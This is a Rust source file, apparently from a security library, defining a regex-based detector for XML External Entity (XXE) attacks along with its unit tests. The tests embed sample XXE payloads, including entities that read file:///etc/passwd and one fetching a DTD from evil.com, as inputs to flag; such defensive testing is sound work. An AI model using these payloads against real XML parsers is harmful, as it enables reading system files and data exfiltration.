security_rust/protocol/
xxe.rs1use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
7
8static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
9 vec![
10 Regex::new(r"(?i)<!ENTITY\s+").unwrap(),
11 Regex::new(r#"(?i)SYSTEM\s+["']"#).unwrap(),
12 Regex::new(r#"(?i)PUBLIC\s+["']"#).unwrap(),
13 Regex::new(r"(?i)<!DOCTYPE\s+").unwrap(),
14 ]
15});
16
17pub struct XxeDetector;
18
19impl Detector for XxeDetector {
20 fn name(&self) -> &'static str {
21 "xxe"
22 }
23
24 fn detect(&self, input: &str) -> Option<DetectionResult> {
25 regex_detect(
26 &PATTERNS,
27 self.name(),
28 AttackCategory::Protocol,
29 Severity::Critical,
30 "XXE XML External Entity attack detected",
31 input,
32 )
33 }
34}
35
36#[cfg(test)]
37mod tests {
38 use super::*;
39
40 fn assert_detected(input: &str) {
41 crate::test_helpers::assert_detected(
42 &XxeDetector,
43 input,
44 AttackCategory::Protocol,
45 Severity::Critical,
46 );
47 }
48
49 fn assert_clean(input: &str) {
50 crate::test_helpers::assert_clean(&XxeDetector, input);
51 }
52
53 #[test]
54 fn name_is_xxe() {
55 assert_eq!(XxeDetector.name(), "xxe");
56 }
57
58 #[test]
59 fn detects_inline_entity() {
60 assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
61 }
62
63 #[test]
64 fn detects_doctype_declaration() {
65 assert_detected(
66 "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
67 );
68 }
69
70 #[test]
71 fn detects_parameter_entity() {
72 assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
73 }
74
75 #[test]
76 fn detects_public_entity() {
77 assert_detected(
78 "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
79 );
80 }
81
82 #[test]
83 fn detects_mixed_case_markup() {
84 assert_detected("<!entity xxe system \"file:///etc/passwd\">");
85 assert_detected("<!doctype foo>");
86 }
87
88 #[test]
89 fn rejects_benign_xml() {
90 assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
91 assert_clean("<ENTITY>plain text</ENTITY>");
92 assert_clean("<!DOCTYPEfoo>");
93 assert_clean("SYSTEM\"file:///etc/passwd\"");
94 assert_clean("<!ENTITY>");
95 }
96
97 #[test]
98 fn rejects_near_misses() {
99 assert_clean("<!ENTITYxxe>");
100 assert_clean("<!ENTITY%xxe>");
101 assert_clean("SYSTEM /etc/passwd");
102 }
103
104 #[test]
105 fn rejects_empty_and_whitespace() {
106 assert_clean("");
107 assert_clean(" ");
108 }
109
110 #[test]
111 fn rejects_unicode_text() {
112 assert_clean("这是一段普通的中文 XML 描述文本");
113 }
114}